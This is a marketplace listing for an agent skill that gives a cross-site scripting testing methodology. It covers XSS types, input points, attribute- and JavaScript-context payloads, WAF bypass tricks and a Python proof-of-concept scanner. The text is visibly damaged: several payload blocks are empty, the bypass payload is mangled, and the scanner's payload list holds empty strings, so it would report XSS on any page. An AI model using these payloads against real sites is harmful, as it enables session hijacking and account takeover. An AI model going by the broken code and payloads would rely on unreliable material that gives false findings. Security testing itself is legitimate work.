# Xss > Cross-Site Scripting (XSS) testing methodology with payloads for reflected, stored, and DOM-based XSS Use when this capability is needed. - Skill: `tomevault-io/xss` (Agent Skill, multi-file: 2 files) - Install (CLI): `npx skillmds@latest add tomevault-io/xss` - Raw SKILL.md: https://api.skillmd.com/api/skills/tomevault-io/xss/raw - Safety review: pending (external: skill-scanner FAIL, skillspector PASS) - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Security - Author: tomevault-io (https://skillmd.com/u/tomevault-io) - Updated: 2026-09-17 - Page: https://skillmd.com/skills/tomevault-io/xss --- # XSS Testing Methodology ## Overview Cross-Site Scripting allows attackers to inject malicious scripts into web pages viewed by other users. ## Types 1. **Reflected XSS**: Payload reflected in immediate response 2. **Stored XSS**: Payload stored and executed later 3. **DOM-based XSS**: Payload executed via client-side JavaScript ## Testing Methodology ### 1. Identify Input Points - URL parameters - Form inputs - HTTP headers (User-Agent, Referer) - Cookies - File upload names ### 2. Test Basic Payloads ``` "> '> ``` ### 3. Context-Specific Payloads #### HTML Context ``` ``` #### Attribute Context ``` " onmouseover="alert(1) ' onfocus='alert(1)' autofocus=' " onfocus=alert(1) autofocus=" ``` #### JavaScript Context ``` ';alert(1)// ';alert(1)// ``` #### URL Context ``` javascript:alert(1) data:text/html, ``` ### 4. WAF Bypass Techniques ``` ipt>alert(1)ipt> ``` ### 5. Filter Bypass ``` ``` ## PoC Template ```python import requests def test_xss(url, param): payloads = [ '', '', '">', ] for payload in payloads: r = requests.get(url, params={param: payload}) if payload in r.text: print(f"[+] XSS found with: {payload}") return True return False ``` ## Impact - Session hijacking - Account takeover - Defacement - Keylogging - Phishing --- > Converted and distributed by [TomeVault](https://tomevault.io/claim/omkar-ukirde) — claim your Tome and manage your conversions.